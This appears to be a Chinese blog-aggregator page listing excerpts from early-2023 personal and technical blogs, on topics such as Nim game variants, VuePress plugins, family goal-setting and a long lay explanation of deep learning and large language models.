那么“神”，“耶和华” ，“十字架”，就只沦为一种符号，它指向了脑海中想象的宗教，或者是某种未知的神秘力量。人们的狂热，情感，和热忱，都归给了金牛犊的变种——语言符号。
Note
-
1992年邓小平第二次南巡，同时又颁布了有限公司和股份公司的规范意见，所以1992年形成了中国精英阶层下海创业和创新，下海变成是一个潮流 ↩
- 博客 二丫讲梵 2023-02-18 05:40:45如要阅读全文，点击标题跳转。学习周刊-总第94期-一个优秀开源的rss阅读器
- 博客 二丫讲梵 2023-02-13 18:56:00博客经过了五年的积累之后，已经沉淀了许多的内容，在此有必要做一个导引，帮助你更好地认识到，你正在浏览的，是一个构思多么用心，设计多么优秀，内容多么丰富，情操多么高尚，境界多么高雅的博客。
- 博客 Matrix67: The Aha Moments 2023-02-13 09:06:20今年我为北京世纪坛的数学益智游戏展贡献了不少内容。我打算在这里记录一些自己的创作、发现、收获和心得。这是该系列的第三篇。 今年的数学益智游戏展有一个特色，就是到访者可以购买一个小册子，这可以为自己的参展体验加分。我们内部把它叫作“任务单”。任务单里有很多任务，对应了展会中的各种项目。完成任务可以获得印章，赢取奖励。为了增加任务单的附加价值，任务单上还附赠了很多简单展品的高级玩法说明。这里举一个有趣的例子。 展会现场有很多冰糕棍，可以用来做冰糕棍炸弹。任务单上给出了冰糕棍的另一种玩法——Nim 游戏。将冰糕棍从左到右摆成若干堆。两人轮流从其中一堆冰糕棍中取走任意数量的冰糕棍（可以全部取走，但不能不取）。取走最后一根冰糕棍的玩家获胜。 考虑到任务单的读者可能已经熟悉 Nim 游戏了，因此为了让所有人都能有新的收获，我补充了一些不太常见的 Nim 游戏变种。我一共准备了 10 条补充规则。游戏开始前，双方可以任选其中一条来玩。 每次只能从最左端或者最右端的那一堆中取冰糕棍。 每次只能从冰糕棍数最多的那一堆中取冰糕棍（如果冰糕棍数最多的堆出现了并列的情况，任选其中一堆即可）。 每次只能从冰糕棍数最少的那一堆中取冰糕棍（如果冰糕棍数最少的堆出现了并列的情况，任选其中一堆即可）。 第一个人可以从任意一堆中取冰糕棍，今后每个人只能从和刚才不同的堆中取冰糕棍。 第一个人可以从任意一堆中取冰糕棍，今后每个人只能从和刚才相邻的堆中取冰糕棍。 第一个人可以从任意一堆中取冰糕棍，今后每个人只能从和刚才相同的堆中取冰糕棍（除非刚才那一堆被取完了）。 每次取完后，还可以再从另一堆中取走同样多的冰糕棍。 每次取冰糕棍的数目改为最多 3 根。 取走最后一根冰糕棍的玩家算输。 还差一条，应该写什么呢？我有三个备选方案。大家可以猜一猜，我最后用了哪个方案。 游戏双方各有一次“跳过”的机会。 游戏中有一次“跳过”的机会，任意玩家使用后该机会作废。 每次对方取完后，如果他还有别的取法，你便能要求他该轮换一种取法。 这三条补充规则都挺有意思，它们都在一个更底层的层面修改了游戏规则。我们都来分析一下。Nim 游戏里局面信息透明，不含运气成分，不会有平局产生中，所以一定有一个人拥有必胜策略。对于有的开局，先手拥有必胜策略。对于另外的开局，后手拥有必胜策略。 如果游戏双方各有一次“跳过”的机会，整个游戏跟原版其实没啥区别。对于任意一种开局，在原版中不管是先手必胜还是后手必胜，这个人在新版中仍然能够必胜。他只需要在对方选择跳过时也立即选择跳过（自己绝不主动跳过），就能把对方的跳过机会给抵消掉。一切就变回成传统的 Nim 游戏了。所以，我没有采用第一个方案。 如果整个游戏只有一次“跳过”的机会呢？情况会变得更有意思。如果一个局面在原版的 Nim 游戏中是后手必胜的，那么在新版的 Nim 游戏中，先手上来就选择跳过，从而变成后手，便能赢得胜利。 如果一个局面在原版的 Nim 游戏中是先手必胜的？让我们看看 (1, 2) 这个局面。在原版的 Nim 游戏中，它是先手必胜的。先手可以拿走后一堆中的一根冰糕棍，接下来只能是每人各拿一根，从而先手获胜。在新版的 Nim 游戏中，先手显然不会上来就用“跳过”，把必胜局面拱手让给对方；先手也不会把其中一堆取光，不然直接就输了。所以，他只能像刚才一样，把 (1, 2) 变成 (1, 1)。接下来，两人本该一人拿一根，但后手可以用一次“跳过”，从而取得最后一根。所以胜负关系也交换了。 两版 Nim 游戏的胜负关系总是颠倒的吗？不是。(1, 3) […]
- 博客 技术小黑屋 2023-02-12 20:20:00
作为一个从 Android Studio/IntelliJ 切到 VS code 的开发者，一开始会遇到各种不适应的情况。 比如快捷键不一样，使用习惯不一样等。
这里将简单记录一下 个人遇到的一些痛点，比如如何重写方法。
在 Android Studio/ IntelliJ 中，使用起来很简单，比如弹出这个菜单，选择
Override Methods即可，实现重写initState方法
但是切到 Vs Code 后，发现找不到快捷键，后来经过一些摸索，还是找到了 如何快速实现方法重写的方法。
如下图，只需要输入待重写的方法的首字母，即可弹出提示。
VS Code 的方式显得会更加的简单。（后来才发现同样的方式 在 Android Studio/Intellij 也支持，Orz）
- 博客 酷 壳 – CoolShell 2023-02-12 00:31:16
两个月前，我试着想用 ChatGPT 帮我写篇文章《eBPF 介绍》，结果错误百出，导致我又要从头改一遍，从那天我觉得 ChatGPT 生成的内容完全不靠谱，所...
The post 我看ChatGPT: 为啥谷歌掉了千亿美金 first appeared on 酷 壳 - CoolShell. - 博客 二丫讲梵 2023-02-12 00:16:54如要阅读全文，点击标题跳转。一个好的搜索，能够更快速地把我们博客的内容呈现给读者。这也是我为什么五次三番地写文章介绍 Vuepress 配置全文搜索的原因。在市面上，除了利用自身实现全文搜索之外，还有一种比较流行的就是接入外置的搜索引擎，在这种方案之中，大多数推荐的，文章介绍的，都是针对 algolia 的对接，algolia 非常优秀，提供了免费的额度供普通博客进行接入，但据一些反馈来看，这个资格的审核一般需要三天。另外最重要的是，当博客内容足够多之后，免费额度不够用，就得付费购买服务，且 algolia 是闭源的，没有自建搜索的可能。
- 博客 吕小荣的网志 2023-02-11 08:00:00
对待别人的宏图大志，我以忽略为主，伴以内心嘲讽。这是不好的。
今年朋友们立志读书，每个人都信心满满，妻子问，你为什么默不作声？不喜欢这个计划吗？
我回答:
首先，任何一本经典书籍都能让人受益无穷，学哪本都可以。
其次，根据以往学习战绩，我们坚持下来的概率为 0，没有什么值得兴奋的。第一年，我们直接学习圣经，大家很快开始抱怨文字的枯燥，还原的历史不够形象，晦涩难懂；第二年，我们学习课程材料《不再一样》，到后期时，很少有人预习和做家庭作业，以至于无法进行。第三年，我们学习视频教材，后来抱怨别人嚼过的信息食之无味，学习还是要回归圣经。
我已经对豪言壮语没了兴趣，按部就班学习就行了。
我是一个程序员，在评估别人的豪言壮志时，干成过大事这点尤为重要！
1. 什么才算 “干成过大事”？
- 戒烟成功
- 减肥成功
- 每周健身
- 戒掉网瘾
- 戒掉手机瘾
- 坚持背单词
- 坚持学习并考过专业考试，比如 托福 / 雅思
- 每个月储蓄
- 一年读10本书
- 数十年如一日的做一件正确的事情。
好主意人人都有，执行力最稀缺。如果在一个人身上我看不到“言必行，行必果”的特质，我都懒得听他废话。
2. 他的计划 (plan)
- 目标具体 (权重 +1)
- 目标拆分 (权重 +10)
- 具体在每天的什么时间段做？ (权重 +10)
- 情绪崩盘时的备用方案 (权重 +10)
3. 熟练使用认知工具
- 执行意图 (权重 +1)
- 自省机制 (权重 +1)
4. 他的年龄
-
小孩 （权重+10）。小孩的心单纯，也非常受教和陶造，未来充满了各种可能性。
-
成人 （权重 -5)。人越老越顽固，如果过去没有达成任何目标，大概率会重复已有的行为模式，继续失败下去。
经过大脑评估，如果对方的成功率接近 0，对话毫无必要。以上就是我过去37年的训练后的思维模式。
反思
7岁的儿子有一天他跑到我面前说，“爸爸，我决定了，以后玩完玩具后，我会归位的”。这句话撼动了我。
我好开心，好幸福，我赞美他 “沐沐是个爱劳动的小朋友，加油！爸爸相信你一定可以做到的”。沐沐只是个7岁孩子，他的决定是如此的微弱，只是一种倾向性，谈不上“志向”或“目标”，更没有具体的计划。他能成功的概率微乎其微。如果不出意外，随后几年家里还是乱糟糟的。但我为他的这种 “渴望成长的倾向性”而感到高兴。
沐沐以及我的朋友都颤颤巍巍的迈出第一步，为什么对他们有截然不同的视角？
对待沐沐，我的视角是 “沐沐居然迈出了第1步，沐沐好棒！沐沐居然迈出5步，不可思议！沐沐迈出15步，你是怎么做到的？！”虽然距离成功遥遥无期，但是他一直在努力。
对待周围的成年人，当他们迈出 1 步时，我看到的是“离目标还有 99 步，还早呢”，“他不会坚持下去的”，“等他达成目标再说吧”，“ideas are worth nothing unless executed“。
我很爱妻子和孩子，略微爱父母，但不在乎周围的人。那套严谨的评估系统只是保护自己的时间。过滤掉不可靠的人，减少交集，减少无谓的投入，避免被蠢人拖后腿。
圣经中说爱是恒久忍耐，又有恩慈；爱是不嫉妒；爱是不自夸，不张狂， 不做害羞的事，不求自己的益处，不轻易发怒，不计算人的恶， 不喜欢不义，只喜欢真理； 凡事包容，凡事相信，凡事盼望，凡事忍耐。 爱是永不止息。(哥林多前书 13:4)
Love is patient, love is kind. It does not envy, it does not boast, it is not proud. It is not rude, it is not self-seeking, it is not easily angered, it keeps no record of wrongs. Love does not delight in evil but rejoices with the truth. It always protects, always trusts, always hopes, always perseveres. Love never fails.
凡事盼望 (always hopes)也是一种爱，或许我可以“盼望之爱”对待所有人。
但凡人们对美善流露出一点点渴望，迈出一小步时，鼓励他们朝着智慧，美善，公义，怜悯，健康，夫妻和睦等好的方向多走几步。若有余力，给他们加把劲，提供一些实际帮助。虽然目标很远，人们会屡屡跌到，失败，半途而废，但大可不必盯着路途的艰辛和悲观的结局。
患糖尿病的母亲，胡吃海喝，如今饱受病法者的痛苦，决定不再喝粥，吃面条。
我可以选择说：“你总算长记性了，这些升糖指数很高的食物，会要了你的命，非要撞南墙才知道回头”。
我也可以选择说：“妈，你真棒啊，居然忍受住了诱惑，加油。再配合散步会更好。”
妻子萌发了学英语的念头，开始背起了单词。
我可以选择说 “哎呦，今天开始打鱼了？什么时候晒网啊？”
我也可以选择说：“哇，好棒，开始背单词了。要不要帮你找个外教，活学活用，单词记得更牢。先不要关注语法，大胆开口，不要怕说错。”
朋友们立志读书，翻开了第一页。
我可以选择说 “哎，希望我们不要虎头蛇尾”。
我也可以选择彼此勉励，共走天路。
凡事盼望，永不止息。
- 博客 二丫讲梵 2023-02-10 16:37:01如要阅读全文，点击标题跳转。学习周刊-总第93期-一个小霸王游戏合集的开源项目
- 博客 二丫讲梵 2023-02-09 05:54:44如要阅读全文，点击标题跳转。之前介绍过 Vuepress 的一款全文搜索插件 fulltext-search，今天来介绍另一款相对不错的全文搜索插件 vuepress-plugin-flexsearch-pro。
- 博客 Matrix67: The Aha Moments 2023-02-06 18:13:17今年我为北京世纪坛的数学益智游戏展贡献了不少内容。我打算在这里记录一些自己的创作、发现、收获和心得。顺便结合一下这几年的经历。这是该系列的第二篇。 两个孩子经常早晨 6 点就醒了，然后频频闯进我们卧室，给我们看他们用纸折的袜子，用乐高搭的袋熊，用水彩笔画的比萨，搞得我和孩子他妈没法睡觉。去年 5 月份左右，孩子他妈想了一个办法：在我们卧室门口放了一个纸糊的小信箱，让孩子把要给我们看的东西放信箱里。现在早晨果然能多睡一会儿了。几天后，孩子闹着说，他们想让自己的屋子门口也有个信箱。孩子他妈真又做了一个弄上去了。在信箱里放啥呢？于是我决定每天给孩子设计一些印在纸上的小活动，比如照图示折纸呀，比如看图编对话呀，比如自制两可图呀，等等。当然，还有很多我专门设计的谜题。 究竟怎样的谜题才算好的谜题，这话题就太大了。不过今天我想分享一些给孩子设计谜题时我喜欢注意的三点： 找到答案会自动带来奖励。孩子会因为成就感和外部奖励以外的原因进行解谜。 答案具备自我检查机制。即使孩子把答案做错了，他自己也能意识到。 解谜流程是非线性的。解谜的线索往往有冗余。解谜过程可以是多线并行的，不会因为卡在某一步而死掉。 学校考试里的多数单选题不满足任何一条。利用电子游戏这个媒介，这几条很容易全都实现。解开谜题后可以解锁新的内容，这就实现了第 1 条。电脑可以自动判断答案的正误，这就实现了第 2 条。第 3 条也很容易做到。比如，在一些解谜类游戏中，只要这个大关中一定数量的小关被解开了，都能进入下一大关（不要求全解开）。 但是，如果谜题限制于纸笔操作，设计难度就会很大。之前我在某小学数学杂志社当主编的时候，设计过一些满足全部三点的谜题形式，比方说下面这样的。 日晷是活动部件最少的计时工具。什么是活动部件最多的计时器？完成下面 9 个选择题，看看正确选项对应的字母，你就知道答案了。 最小的质数是多少？W.1 H.2 A.3 V.4 圆周率的符号是啥来着？U. α T. η I. σ O.π 爸爸的爸爸叫什么？ U. 爷爷 H. 奶奶 I. 姥姥 A. 姥爷 我是学啥的来着？L. 考古系 P. 数学系 I. 物理系 R. 中文系 《死亡空间》重制版好玩吗？C. 别买了 A. 一般 E. 好玩 […]
- 博客 MiaoTony's Blog 2023-02-04 21:50:00837
- 博客 二丫讲梵 2023-02-03 18:01:53如要阅读全文，点击标题跳转。学习周刊-总第92期-一个超级优秀的浏览器网页翻译插件
- 博客 酷 壳 – CoolShell 2023-02-03 15:46:13
这两天在网络上又有一个东西火了，Twitter 的创始人 @jack 新的社交 iOS App Damus 上苹果商店（第二天就因为违反中国法律在中国区下架了...
The post 聊聊 nostr 和 审查 first appeared on 酷 壳 - CoolShell. - 博客 Jiajun的编程随想 2023-02-03 08:00:00《为什么要把复杂的联表操作拆成多个单表查询？》我们在系统优化的时候，常见的一个操作，就是把复杂的联表操作，拆解成多个单表操作，然后在应用程序中进行联接。为什么要这样做呢？相信大家都可以列出几点。不过《高性能MySQL 第四版》对此有很好的总结，值得细品。摘录如下...
- 博客 二丫讲梵 2023-02-02 05:54:04如要阅读全文，点击标题跳转。默认的 vuepress 程序没有集成 rss 订阅能力，不过第三方有插件集成了相应的能力，本文来介绍下如何通过插件来为博客集成 rss 订阅能力。
- 博客 二丫讲梵 2023-02-02 05:53:53如要阅读全文，点击标题跳转。我的博客已经快五岁了，她得学会自己挣钱了，于是乎，我打算通过添加一个轮播图，来挂一些广告。这个功能从想法到落地折腾了两三天，最后终于配置完毕，今天来做个分享。
- 博客 Jiajun的编程随想 2023-01-31 08:00:00《红包系统的设计》秒杀系统中，很常见的一种就是抢红包，还有其他的例如：双11抢购、直播间秒杀下单、一元夺宝等等。其中抢红包的特点在于无法超售，对于下单，如果比库存超售少许，其实是可以接受的，但是对于红包，一旦用户抢到的钱比发出去的钱更多，那就是大问题了。当然，抢购也有特定的业务复杂度，例如下单之后，用户可能没有付款，超时之后需要重新把库存加回去等。我们这里主要讨论红包系统...
- 博客 二丫讲梵 2023-01-30 19:44:55如要阅读全文，点击标题跳转。一句话来讲：我需要 CDN 的加速能力，但是又不想为对抗刷流量付出过多的精力，在这个基础之上，费用越便宜越好。毕竟是个人博客，服务器费用已是自己承担，分享内容已消耗很多的精力，现在 CDN 如果再有过多的精力和金钱投入，就太难受了。有了以上的准备及预期之后，我开始了博客接入 CDN 的折腾之旅。顺着这个折腾之旅，也了解体验了不少国内的 CDN 产品，聊作记录，兼为评测，以为分享。
- 博客 Matrix67: The Aha Moments 2023-01-29 08:34:41今年我为北京世纪坛的数学益智游戏展贡献了不少内容。我打算在这里记录一些自己的创作、发现、收获和心得。顺便结合一下这几年的经历。这是该系列的第一篇。 有一个经典的数学小魔术。把 0 到 63 之间的数写在 6 张纸条上，其中第 1 张纸条上写着二进制表达中右起第 1 位数字为 1 的数，第 2 张纸条上写着二进制表达中右起第 2 位数字为 1 的数，第 3 张纸条上写着二进制表达中右起第 3 位数字为 1 的数，等等。给人展示 6 张纸条，问他“你的年龄出现在了哪些纸条里”。对方给出的答案就相当于告诉了你，他的年龄的二进制表达中各个地方是 0 还是 1。你就能报出他的年龄了。 今年的展会有一个主题就是过年。我们打算设计一个类似的小魔术，只不过把年龄改成生肖。由于生肖有 12 个，因此 4 张纸条就可以做到这一点。 为了让魔术能自动呈现出来，不需要工作人员表演，我们想到一个方法。把 4 张纸条换成 4 对带孔的板子，不妨把这些板子记作 1A、1B、2A、2B、3A、3B、4A、4B。墙上印有和板子一样大的海报。海报上印有十二生肖，排成一个 3 × 4 的方阵。我们事先给每个生肖分配了一个 0000 到 1111 之间的编号（所以 16 个编号只用到 12 个）。分配的时候顺序故意是乱的，这样板子上的孔更没规律，魔术效果更好。板子 1A […]
- 博客 吕小荣的网志 2023-01-29 08:00:00
小荣
带领全家人读万卷书，走万里路。
爷爷90岁，奶奶92岁，妈妈60岁体弱多病，珍惜时光，尽快找到一个经济的方式回济南看望他们，每年在济南住一个月。
37岁 || || || - 在济南搭个舒适的窝 5 year || - 每年带沐沐回济南住1个月 || - 带沐沐去1个国家和地区生活一段时间 (探索) || || || || 42 岁 || || || - 家庭财务稳健 || - 时间自由 || - 读万卷书，行万里路 5 year || - 带全家人去三个国家和地区生活一段时间 （稳定） || || 47 岁行动
小坤
目标：
- 探索自己职业方向
- 时间自由，可以和家人远行。
40岁 || || || - 英语口语流利 5 year || - 副主任医师 || - 满足国际医院能力要求 || || || || 45 岁 || || || || 出国读个博士？ || 5 year || || || 50 岁行动:
- 了解公立医院编制的好处和坏处
- 了解国际医院的能力要求
- 每周和 Jamie 练习英文
- 雅思 6.5 分
- 马拉松有陪跑员，我可以陪妻子一起备考。 一起备考半年，2024年5月份考试。
- 写论文，升副主任医师
沐沐
7岁 || || || || 5 year || - 中英双语流利 || || || || 12 岁 (小学毕业 / 青春期开始) || || || || || 5 year || 暂未规划 || || 17 岁备注：一些必须的目标就不陈述了，比如心理健康，自理能力，财务健康。
- 博客 二丫讲梵 2023-01-28 00:05:44如要阅读全文，点击标题跳转。学习周刊-总第91期-一个开源的Git客户端
- 博客 胡涂说 2023-01-25 19:45:00848
- 博客 Matrix67: The Aha Moments 2023-01-22 15:23:29昨晚做梦，梦见了一个有趣的数学问题：有没有什么多面体，它的每个面都是凹多边形？有趣的是，接下来我梦见自己醒了过来，然后立即上网寻找答案。我梦见我查到了相关的论文，论文作者的名字中出现了很多奇怪的符号。我梦见我开始研究论文作者的名字该怎么发音。我梦见我研究了半天没有进展，于是踏上了拜访作者本人的路…… 然后就彻底醒了。然后立即上网寻找答案。废话不多说了。Branko Grünbaum 和 G. C. Shephard 在 1998 年的论文《Isohedra with Nonconvex Faces》中给出了一些例子。下图是我很喜欢的一个例子。整个多面体由12个全等的凹多边形组成。
- 博客 二丫讲梵 2023-01-20 18:01:50如要阅读全文，点击标题跳转。学习周刊-总第90期-一个将 sql 转换为 elasticsearch DSL 的 go 库
- 博客 王登科-DK博客 2023-01-20 11:09:36最近几个月，以深度学习和神经网络为主导的 AI 技术正在席卷全球，人们发现 AI 会画画，AI 会写文章，会回答问题，还会解决问题，虽然诸如推荐算法，计算机视觉等 AI 技术其实早已改变我们生活了，但生成式 AI 所展现出的那种创造力，还是几乎让大多数人在惊叹于其神奇后，或多或少的感觉到了一丝隐忧，甚至恐惧。 我过去半年多都在做 6pen，但主要职责是产品，我对 AI 一窍不通，但一直以来，我对它的好奇从未减弱，大约 2 个月前，我下定决心，开始比较正式的学习深度学习和神经网络，并越来越被它的趣味和魅力吸引，于此同时，这个行业也在发生着快速和惊人的变化，我觉得这个时间节点非常微妙，它可能代表这一次转折，因此决定写这篇文章。 这篇文章会分成三个部分，第一部分是对深度学习的原理做简单的说明，这背后其实比很多人预想的要简单很多，了解原理有助于我们了解它的可能和局限，以及部分的实现技术去魅，然后，我会解释为什么我会觉得 AI 最先替代的，可能是 AI 工程师，最后，我会写一下对这个行业的个人拙见。
深度学习原理说明-上小学的侄子说他能看懂
对于人工智能，我们知道它能学习，学习了之后它可以识别图像，可以判断对错，可以生成文本或图片，但这个学习到底是什么，又是怎么学的，则是很难理解的，毕竟它没脑子，只是硬盘，GPU和内存。 对人工智能如何学习的理解，我认为是理解这项技术的关键，而这其实可以用小学数学去解释。 我们可以在坐标轴画一条线，y=x，这条线就像这样
我们如果加个参数，例如 y = 2x，那么这条线就会发生变化，变陡一点，如果我们再加个参数，例如 y = 2x +4，那么这条线则会上移一点，看上去是这样
这没有什么难的，但不管你信不信，这就是深度学习的原理了。
y=2x+4，可以看作是一个输入和输出都是一个数字，有两个参数的神经网络层，对于其中的 2 和 4 ，我们可以不断变化，来改变线的斜率和位置，这个过程就是学习。
学习的过程有点类似于用一种笨办法"解"方程式，数据集就是一些x和y的值，例如（x=1，y=6），（x=2，y=10），（x=3，y=14），开始训练之后，模型会随便设置这两个参数，比方说 y = 5x+102，这样一算，x=1的时候，y居然等于107，比数据集中的（x=1，y=6）大太多了，于是模型会把参数调小一点，比方说y=4x+50，这样再算，x=1的时候，y=45，还是太大了，于是模型再把参数调小一点，直到调到y=2x+1，结果发现，这样似乎算出来的y又太小了，于是模型再把参数调大一点。
这里面包含了神经网络深度学习的所有东西，首先是一个模型结构，我们已经设定成了y=ax+b，a和b是两个参数，然后模型会尝试不同的a和b，看差多少，这个看差多少的部分，叫做损失函数，然后，模型又会调整一下a和b的大小，负责调整的部分，则叫做优化器。
真实的神经网络，哪怕是最简单的层，也显然不会只是一个二元一次方程，它会比我们看到的更复杂一点，例如这样
并且它具备很多层，每一层的输出，都将作为输出，传递给下一层，一个神经网络可能有50层，甚至更多，也可能只有几层，这取决于人们想用它解决什么问题。
但总的来说，这就是深度学习 神经网络的大致原理了。当我们的模型只有一层，且只有两个参数的 时候，我们只能得到一个数字，并且它很难有什么实际作用，但是当我们有上百层的模型结构，并且参数有1750亿的时候，事情就变得不一样了。
一个数据集中的样例可能是这样：输入是“你觉得老友记怎么样 ”，输出是“很棒，这是一部非常经典的美剧”，当然，这些句子都预先被某种方式转化成了一大堆数字，所以可以被各个方程式拿去计算，通过调节这一千多亿个参数，比方说第6428412456个参数，增加2.3，第5834728834个参数，减少9，当然这是我瞎写的，实际上有成千上万张显卡，用极其庞大的算力小心翼翼的调整这一千多亿个数字，试图让模型的输出，很接近我们给的数据集的输出。
同时，数据集也有数以亿计的样例，这些样例一次又一次的被模型用来调整自己的这一千多亿个参数，最后达到了一个比较好的效果，这样，在我们给一些数据集所没有的输入的时候，模型将有较大概率，能给一个看上去依然不错的输出，这个时候我们就说训练好了，或者用更专业的说法，收敛了。
我需要说明的是，事情远比以上的描述更加复杂，但原理确实就是这么简单。
我想我们不可能通过阅读几篇科普文章，就去干那些苦学了五六年才毕业的医生们做的工作，但我们至少要知道，生病的治疗方式可能是住院，补液，吃抗生素等等，而绝不会是吃水银，放血和跳大神。同样的，知道深度学习的大致原理，离着手从事相关工作，也有非常非常遥远的距离，但我们至少知道，噢原来是这么一回事。
为什么 AI 工程师可能是会被最先替代的
在几年前，或者更早一点的时候，模型不会太大，也不会有一个放之四海而皆准的模型，即便是新的模型结构或者方法被提出来，也需要许多不同领域的 AI 工程师，用自己所在领域的数据，来 finetune（微调）这个模型，甚至自己修改模型结构，尝试各种各样的优化办法，才能达到为自己所用的目的。 经验，技巧，和一些独家数据，在这个时候都是有用的，甚至很有用，学术界和开源界都乐于发现和创造新的模式，结构，然后无数个领域的 AI 工程师，在此基础上进行大量的优化，训练，从而让一个学术概念，变成能解决实际问题，创造价值的新模型。 在这个时候，提出一个模型结构，或进行创新，依赖的更多是人的智慧，包括了巧妙的思考，对数学的理解，以及一些运气（但不多），因此，有才能的人，包括学者，研究人员，以及一些杰出的工程师，乐于分享他们的研究成果，各个领域的公司里的 AI 工程师，则会将这些成果转化会实际需求的解决方案，某些时候，在学术成果解决实际问题的时候，会产生新的问题，或者诞生新的方法，而这也会很快转化为一个新的学术成果，被大家了解。 由此，一个活跃，繁荣，不断互相推动向前的行业（结合了大学，研究机构和商业公司），在过去的许多年里蓬勃发展，新的概念，理论层出不穷，虽然很难被圈子之外的普通人或非技术人员了解，但任何人把头探入这个圈子时，都会被其活跃的氛围所感染。 大模型，尤其是LLM(大语言模型)的出现，让这个配合良好的系统首次出现了一丝裂纹，大模型，顾名思义，就是参数特别特别多的模型，一个参数，如我们上面所写，是一个数字，在计算机里，一个数字会占用4个字节，那么1000万个参数，会占用4000万字节，这大约是38M，听上去还好，相当于一个小视频，但参数如果增加到比方说60亿，那就会占用22G的空间，由于参数是会被计算，随时变化的，所以放在硬盘甚至内存里都不够快，需要放到GPU的显存里，60亿个参数，需要显存22G以上的GPU才能运算，这已经有点贵了。 而我们熟知的 GPT3，是 1750 亿参数，光是凑够能够把这些参数全部放下的显卡，已经非常昂贵了，但这只是放下，如果还要进行训练，即让这1750亿参数进行很多变化，来找到更好的组合，则对应的算力成本可以称得上是天文数字。 这个成本个人研究者肯定无法承担，即便是中小公司，研究机构，大学，也依然难以承受。 对于行业的很多研究人员来说，这是第一个问题——拿到这样的大模型，似乎很难做优化，或者做研究，因为首先根本没钱把它跑起来（即便它开源），其次即便能跑起来，把它优化的更好，也需要比以往多得多的数据，这个数据在某种程度上更难获得。 这有点像我们养宠物，你可以在家里养猫或者狗，你家肯定放得下，你随便找点吃的，也饿不着它们，然后你可以训练它们坐下或者绕圈圈，大模型则相当于一只霸王龙，体重七吨，长12米，就算你把家扩建了，勉强能放下，喂它吃饱也很困难，这样还怎么训练它转圈圈呢。 紧接着而来的是第二个问题，随着大模型的参数越来越多，大模型的效果也越来越好，好到甚至让人觉得不可思议，不仅如此，这些大模型见了鬼，居然在每一个领域，效果都那么好，例如传统的文本生成模型，会根据擅长的任务分为聊天，问答，摘要，翻译，情感分析等等，并且在每个专业领域，例如互联网，金融，医疗，都需要额外再做一些特殊训练，才能取得比较好的结果，但 chatgpt 出现之后，它不需要做任何处理，也不需要做额外训练，就超越了绝大多数(或者所有)传统的文本模型，且无论是在聊天，问答，摘要，翻译，还是别的什么任务，也不论是在任何领域，它都更好。 第一个问题意味着人们对大模型做任何事情，都要付出非常昂贵的代价，第二个问题，则意味着即便你付出昂贵的代价，也不一定能获取更好的结果，虽然我们现在很难说这些大模型真的就能比得过所有通过预训练-finetune（其他优化）产出的模型，但应该没有人会否认，这的确是大势所趋，可能在某些极其细分的领域，有一些模型在特定任务处理上比 chatgpt 更好，但我们都知道，这很快就会被改变。 第三个问题则是，因为大模型的开发极其昂贵，大模型的效果又非常好，所以。。它往往就不开源了，不开源的背后也有另一个原因，如果开源，往往需要对数据集做出说明，而大模型的数据集往往庞大到超出想象，对这些数据的来源，合规，隐私做出合理的说明，显然是很困难的，所以闭源是最简单的处理方式，闭源的大模型，通过出售 API 或周边服务，反而能有更大的商业想象空间，虽然和其训练成本相比依然很难说是个赚钱的买卖，但这个想象力和因此而来的可能性，至少已经让微软愿意掏腰包了。 在这样的背景下，90% 的 AI 工程师将会处在比较尴尬的位置上，因为他们努力所解决的问题，用大模型会解决的更好，而大模型也没有微调，优化，或做别的什么底层处理的必要了，就只有用和不用的选择而已。 绝大多数 AI 工程师没有千亿参数大模型的调教经验，也很难有这样的机会，这会让数据飞轮（更多人用，效果更好，效果更好，更多人用）前所未有的集中在极少数的那么一两个大模型上，从而让它们和别的模型拉开越来越大的差距。 在我们担忧 AI 绘画替代画师的时候，其实画师是没有那么容易被替代的，因为即便是刚入门的画师，也可以有远胜于最先进的 AI 的可控性，更别说艺术风格的创造了。其它的一些“AI替代”说也有类似的情况，所以虽然隐忧重重，但还不是那么快会发生的事情。 更快会发生的替代，可能是 AI 工程师，尤其是非顶级的，没有大模型调教经验的 AI 工程师，因为在暴力的大参数，大算力，大数据前面，个人经验，技巧甚至某些行业数据，都很难与其匹敌，而由于大模型的成本，和不开源的特性，连做这些尝试的可能性也被无限降低了。一个更接近通用的人工智能，正在马不停蹄的向我们赶来。好事还是坏事
首先我觉得我们肯定不需要为 AI 工程师们操太多心，因为他们本来就是世界上最聪明的一群人，他们都有极好的教育背景和工程能力，放到任何地方都可以发光发热，另一方面，我所写的，可能也有局限，或者在未来被完全打脸，这是有可能的，人类智慧永远是给我们带来惊喜的原动力，如同量子计算可能会让之前牢不可破的加密方式被轻松破解一样，反过来，石破天惊的算法或结构创新，可能也会让大力出奇迹的大模型再次落后。 看上去，大模型的流行，会让我们这样的上层的应用开发者和公司获益，因为无需自己搭建和优化模型，可以以相对低廉的成本（模型的创造和训练很昂贵，但使用不那么贵，且因为用的人多，成本还可以进一步降低），使用最先进的技术。 但从另一个角度看，在这样的生态中，无论是做应用的开发者，上层应用，还是用户，其实最终都会成为大模型的养料的一部分，它在不断进化，我们对其了解却越来越少，最终可能会有的局面是，其他公司和开发者只能选择用或不用，而不用就会落后于所有竞争对手，这种情况发生时，其实也就意味着所有开发者和公司已经没有别的选择了。 而此时的大模型持有者，则会成为某种意义上的极权，它可以制定任何规则，它可以凌驾于商业，道德，甚至法律之上，因为那个时候我们已经对其极其依赖了，就像我们依赖今天的互联网一样，但所幸互联网不是任何一家公司的，它属于全人类。 话说回来，比如说人家openai，花了十亿美金训练出来的模型，非要让人家贡献给全人类，好像也不太合适，在模型之外，背后还是商业规则，如果我们能让被贡献给全人类作为知识的大模型的开发者，获得比自己闭源，只是拿去卖API多得多的收益，那么，才有可能有人把大模型搞出来，然后开放给所有人，也会有更多的钱进来，支撑起越来越昂贵的模型的创新。 现在我们处在这样一个节点，花最多钱做的大模型，效果确实是最好的，也确实是闭源的，它已经好到让人震惊的地步，但目前也还没有被完全让人依赖，与此同时，一些别的努力也在进行，例如huggingface 做的 bloom 大模型完全开源，stable diffusion 也完全开源，目前来看，闭源的大模型仍然牢占上风，开源行为获得了广泛的赞誉，和大量不遵守开源协议的的使用，这某种程度为整个行业带来了繁荣，但这繁荣是否能反哺开源大模型，让它和闭源大模型有一战之力，则依然有待验证。 技术本身可能没有对错之分，开放和封闭，都是一种策略，而这背后，都有人类智慧的体现，但假如要让我来做选择，我肯定希望，我的选择，最终不会让我没有选择。 - 博客 构建我的被动收入 2023-01-19 08:00:00本文介绍史上最流行的数据库SQLite从进程内到分布式的的文艺复兴故事。
- 博客 二丫讲梵 2023-01-13 22:03:12如要阅读全文，点击标题跳转。学习周刊-总第89期-前端npm包投毒事件
- 博客 Randy's Blog 2023-01-09 08:00:00854
